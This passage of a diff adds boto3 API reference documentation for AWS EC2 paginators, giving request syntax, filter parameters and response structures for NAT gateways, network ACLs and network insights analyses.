'string' + }, + ], + 'NatGatewayId': 'string', + 'ProvisionedBandwidth': { + 'ProvisionTime': datetime(2015, 1, 1), + 'Provisioned': 'string', + 'RequestTime': datetime(2015, 1, 1), + 'Requested': 'string', + 'Status': 'string' + }, + 'State': 'pending'|'failed'|'available'|'deleting'|'deleted', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **NatGateways** _(list) --_ + + Information about the NAT gateways. + + - _(dict) --_ + + Describes a NAT gateway. + + - **CreateTime** _(datetime) --_ + + The date and time the NAT gateway was created. + + - **DeleteTime** _(datetime) --_ + + The date and time the NAT gateway was deleted, if applicable. + + - **FailureCode** _(string) --_ + + If the NAT gateway could not be created, specifies the error code for the failure. (InsufficientFreeAddressesInSubnet | Gateway.NotAttached | InvalidAllocationID.NotFound | Resource.AlreadyAssociated | InternalError | InvalidSubnetID.NotFound ) + + - **FailureMessage** _(string) --_ + + If the NAT gateway could not be created, specifies the error message for the failure, that corresponds to the error code. + + - For InsufficientFreeAddressesInSubnet: "Subnet has insufficient free addresses to create this NAT gateway" + - For Gateway.NotAttached: "Network vpc-xxxxxxxx has no Internet gateway attached" + - For InvalidAllocationID.NotFound: "Elastic IP address eipalloc-xxxxxxxx could not be associated with this NAT gateway" + - For Resource.AlreadyAssociated: "Elastic IP address eipalloc-xxxxxxxx is already associated" + - For InternalError: "Network interface eni-xxxxxxxx, created and used internally by this NAT gateway is in an invalid state. Please try again." + - For InvalidSubnetID.NotFound: "The specified subnet subnet-xxxxxxxx does not exist or could not be found." + - **NatGatewayAddresses** _(list) --_ + + Information about the IP addresses and network interface associated with the NAT gateway. + + - _(dict) --_ + + Describes the IP addresses and network interface associated with a NAT gateway. + + - **AllocationId** _(string) --_ + + The allocation ID of the Elastic IP address that's associated with the NAT gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface associated with the NAT gateway. + + - **PrivateIp** _(string) --_ + + The private IP address associated with the Elastic IP address. + + - **PublicIp** _(string) --_ + + The Elastic IP address associated with the NAT gateway. + + - **NatGatewayId** _(string) --_ + + The ID of the NAT gateway. + + - **ProvisionedBandwidth** _(dict) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **ProvisionTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **Provisioned** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **RequestTime** _(datetime) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **Requested** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **Status** _(string) --_ + + Reserved. If you need to sustain traffic greater than the [documented limits](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html) , contact us through the [Support Center](https://console.aws.amazon.com/support/home?) . + + - **State** _(string) --_ + + The state of the NAT gateway. + + - pending : The NAT gateway is being created and is not ready to process traffic. + - failed : The NAT gateway could not be created. Check the failureCode and failureMessage fields for the reason. + - available : The NAT gateway is able to process traffic. This status remains until you delete the NAT gateway, and does not indicate the health of the NAT gateway. + - deleting : The NAT gateway is in the process of being terminated and may still be processing traffic. + - deleted : The NAT gateway has been terminated and is no longer processing traffic. + - **SubnetId** _(string) --_ + + The ID of the subnet in which the NAT gateway is located. + + - **VpcId** _(string) --_ + + The ID of the VPC in which the NAT gateway is located. + + - **Tags** _(list) --_ + + The tags for the NAT gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeNetworkAcls + +paginator = client.get_paginator('describe_network_acls') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_network_acls()](#EC2.Client.describe_network_acls "EC2.Client.describe_network_acls"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.association-id - The ID of an association ID for the ACL. + - association.network-acl-id - The ID of the network ACL involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - default - Indicates whether the ACL is the default network ACL for the VPC. + - entry.cidr - The IPv4 CIDR range specified in the entry. + - entry.icmp.code - The ICMP code specified in the entry, if any. + - entry.icmp.type - The ICMP type specified in the entry, if any. + - entry.ipv6-cidr - The IPv6 CIDR range specified in the entry. + - entry.port-range.from - The start of the port range specified in the entry. + - entry.port-range.to - The end of the port range specified in the entry. + - entry.protocol - The protocol specified in the entry (tcp | udp | icmp or a protocol number). + - entry.rule-action - Allows or denies the matching traffic (allow | deny ). + - entry.rule-number - The number of an entry (in other words, rule) in the set of ACL entries. + - network-acl-id - The ID of the network ACL. + - owner-id - The ID of the AWS account that owns the network ACL. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network ACL. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkAcls': [ + { + 'Associations': [ + { + 'NetworkAclAssociationId': 'string', + 'NetworkAclId': 'string', + 'SubnetId': 'string' + }, + ], + 'Entries': [ + { + 'CidrBlock': 'string', + 'Egress': True|False, + 'IcmpTypeCode': { + 'Code': 123, + 'Type': 123 + }, + 'Ipv6CidrBlock': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'allow'|'deny', + 'RuleNumber': 123 + }, + ], + 'IsDefault': True|False, + 'NetworkAclId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkAcls** _(list) --_ + + Information about one or more network ACLs. + + - _(dict) --_ + + Describes a network ACL. + + - **Associations** _(list) --_ + + Any associations between the network ACL and one or more subnets + + - _(dict) --_ + + Describes an association between a network ACL and a subnet. + + - **NetworkAclAssociationId** _(string) --_ + + The ID of the association between a network ACL and a subnet. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **Entries** _(list) --_ + + One or more entries (rules) in the network ACL. + + - _(dict) --_ + + Describes an entry in a network ACL. + + - **CidrBlock** _(string) --_ + + The IPv4 network range to allow or deny, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an egress rule (applied to traffic leaving the subnet). + + - **IcmpTypeCode** _(dict) --_ + + ICMP protocol: The ICMP type and code. + + - **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + - **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 network range to allow or deny, in CIDR notation. + + - **PortRange** _(dict) --_ + + TCP or UDP protocols: The range of ports the rule applies to. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol number. A value of "-1" means all protocols. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny the traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number for the entry. ACL entries are processed in ascending order by rule number. + + - **IsDefault** _(boolean) --_ + + Indicates whether this is the default network ACL for the VPC. + + - **NetworkAclId** _(string) --_ + + The ID of the network ACL. + + - **Tags** _(list) --_ + + Any tags assigned to the network ACL. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VpcId** _(string) --_ + + The ID of the VPC for the network ACL. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the network ACL. + + +_class_ EC2.Paginator.DescribeNetworkInsightsAnalyses + +paginator = client.get_paginator('describe_network_insights_analyses') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_network_insights_analyses()](#EC2.Client.describe_network_insights_analyses "EC2.Client.describe_network_insights_analyses"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInsightsAnalyses) + +**Request Syntax** + +response_iterator = paginator.paginate( + NetworkInsightsAnalysisIds=[ + 'string', + ], + NetworkInsightsPathId='string', + AnalysisStartTime=datetime(2015, 1, 1), + AnalysisEndTime=datetime(2015, 1, 1), + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **NetworkInsightsAnalysisIds** (_list_) -- + + The ID of the network insights analyses. You must specify either analysis IDs or a path ID. + + - _(string) --_ +- **NetworkInsightsPathId** (_string_) -- The ID of the path. You must specify either a path ID or analysis IDs. +- **AnalysisStartTime** (_datetime_) -- The time when the network insights analyses started. +- **AnalysisEndTime** (_datetime_) -- The time when the network insights analyses ended. +- **Filters** (_list_) -- + + The filters. The following are possible values: + + - PathFound - A Boolean value that indicates whether a feasible path is found. + - Status - The status of the analysis (running | succeeded | failed). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsAnalyses': [ + { + 'NetworkInsightsAnalysisId': 'string', + 'NetworkInsightsAnalysisArn': 'string', + 'NetworkInsightsPathId': 'string', + 'FilterInArns': [ + 'string', + ], + 'StartDate': datetime(2015, 1, 1), + 'Status': 'running'|'succeeded'|'failed', + 'StatusMessage': 'string', + 'NetworkPathFound': True|False, + 'ForwardPathComponents': [ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'InboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'ReturnPathComponents': [ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'InboundHeader': { + 'DestinationAddresses': [ + 'string', + ], + 'DestinationPortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'Protocol': 'string', + 'SourceAddresses': [ + 'string', + ], + 'SourcePortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'Explanations': [ + { + 'Acl': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Address': 'string', + 'Addresses': [ + 'string', + ], + 'AttachedTo': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AvailabilityZones': [ + 'string', + ], + 'Cidrs': [ + 'string', + ], + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'CustomerGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Destination': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Direction': 'string', + 'ExplanationCode': 'string', + 'IngressRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'InternetGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerArn': 'string', + 'ClassicLoadBalancerListener': { + 'LoadBalancerPort': 123, + 'InstancePort': 123 + }, + 'LoadBalancerListenerPort': 123, + 'LoadBalancerTarget': { + 'Address': 'string', + 'AvailabilityZone': 'string', + 'Instance': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123 + }, + 'LoadBalancerTargetGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerTargetGroups': [ + { + 'Id': 'string', + 'Arn': 'string' + }, + ], + 'LoadBalancerTargetPort': 123, + 'ElasticLoadBalancerListener': { + 'Id': 'string', + 'Arn': 'string' + }, + 'MissingComponent': 'string', + 'NatGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'NetworkInterface': { + 'Id': 'string', + 'Arn': 'string' + }, + 'PacketField': 'string', + 'VpcPeeringConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123, + 'PortRanges': [ + { + 'From': 123, + 'To': 123 + }, + ], + 'PrefixList': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Protocols': [ + 'string', + ], + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'RouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SecurityGroups': [ + { + 'Id': 'string', + 'Arn': 'string' + }, + ], + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'State': 'string', + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SubnetRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpcEndpoint': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnGateway': { + 'Id': 'string', + 'Arn': 'string' + } + }, + ], + 'AlternatePathHints': [ + { + 'ComponentId': 'string', + 'ComponentArn': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInsightsAnalyses** _(list) --_ + + Information about the network insights analyses. + + - _(dict) --_ + + Describes a network insights analysis. + + - **NetworkInsightsAnalysisId** _(string) --_ + + The ID of the network insights analysis. + + - **NetworkInsightsAnalysisArn** _(string) --_ + + The Amazon Resource Name (ARN) of the network insights analysis. + + - **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + - **FilterInArns** _(list) --_ + + The Amazon Resource Names (ARN) of the AWS resources that the path must traverse. + + - _(string) --_ + - **StartDate** _(datetime) --_ + + The time the analysis started. + + - **Status** _(string) --_ + + The status of the network insights analysis. + + - **StatusMessage** _(string) --_ + + The status message, if the status is failed . + + - **NetworkPathFound** _(boolean) --_ + + Indicates whether the destination is reachable from the source. + + - **ForwardPathComponents** _(list) --_ + + The components in the path from source to destination. + + - _(dict) --_ + + Describes a path component. + + - **SequenceNumber** _(integer) --_ + + The sequence number. + + - **AclRule** _(dict) --_ + + The network ACL rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + - **PortRange** _(dict) --_ + + The range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number. + + - **Component** _(dict) --_ + + The component. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **DestinationVpc** _(dict) --_ + + The destination VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **OutboundHeader** _(dict) --_ + + The outbound header. + + - **DestinationAddresses** _(list) --_ + + The destination addresses. + + - _(string) --_ + - **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **SourceAddresses** _(list) --_ + + The source addresses. + + - _(string) --_ + - **SourcePortRanges** _(list) --_ + + The source port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **InboundHeader** _(dict) --_ + + The inbound header. + + - **DestinationAddresses** _(list) --_ + + The destination addresses. + + - _(string) --_ + - **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **SourceAddresses** _(list) --_ + + The source addresses. + + - _(string) --_ + - **SourcePortRanges** _(list) --_ + + The source port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **RouteTableRoute** _(dict) --_ + + The route table route. + + - **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + - **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + - **SecurityGroupRule** _(dict) --_ + + The security group rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Direction** _(string) --_ + + The direction. The following are possible values: + + - egress + - ingress + - **SecurityGroupId** _(string) --_ + + The security group ID. + + - **PortRange** _(dict) --_ + + The port range. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **PrefixListId** _(string) --_ + + The prefix list ID. + + - **Protocol** _(string) --_ + + The protocol name. + + - **SourceVpc** _(dict) --_ + + The source VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Subnet** _(dict) --_ + + The subnet. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Vpc** _(dict) --_ + + The component VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **ReturnPathComponents** _(list) --_ + + The components in the path from destination to source. + + - _(dict) --_ + + Describes a path component. + + - **SequenceNumber** _(integer) --_ + + The sequence number. + + - **AclRule** _(dict) --_ + + The network ACL rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + - **PortRange** _(dict) --_ + + The range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + - **RuleNumber** _(integer) --_ + + The rule number. + + - **Component** _(dict) --_ + + The component. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **DestinationVpc** _(dict) --_ + + The destination VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **OutboundHeader** _(dict) --_ + + The outbound header. + + - **DestinationAddresses** _(list) --_ + + The destination addresses. + + - _(string) --_ + - **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **SourceAddresses** _(list) --_ + + The source addresses. + + - _(string) --_ + - **SourcePortRanges** _(list) --_ + + The source port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **InboundHeader** _(dict) --_ + + The inbound header. + + - **DestinationAddresses** _(list) --_ + + The destination addresses. + + - _(string) --_ + - **DestinationPortRanges** _(list) --_ + + The destination port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **Protocol** _(string) --_ + + The protocol. + + - **SourceAddresses** _(list) --_ + + The source addresses. + + - _(string) --_ + - **SourcePortRanges** _(list) --_ + + The source port ranges. + + - _(dict) --_ + + Describes a range of ports. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **RouteTableRoute** _(dict) --_ + + The route table route. + + - **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + - **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + - **SecurityGroupRule** _(dict) --_ + + The security group rule. + + - **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + - **Direction** _(string) --_ + + The direction. The following are possible values: + + - egress + - ingress + - **SecurityGroupId** _(string) --_ + + The security group ID. + + - **PortRange** _(dict) --_ + + The port range. + + - **From** _(integer) --_ + + The first port in the range. + + - **To** _(integer) --_ + + The last port in the range. + + - **PrefixListId** _(string) --_ + + The prefix list ID. + + - **Protocol** _(string) --_ + + The protocol name. + + - **SourceVpc** _(dict) --_ + + The source VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Subnet** _(dict) --_ + + The subnet. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Vpc** _(dict) --_ + + The component VPC. + + - **Id** _(string) --_ + + The ID of the component. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + - **Explanations** _(list) --_ + + The explanations. For more information, see [Reachability Analyzer explanation 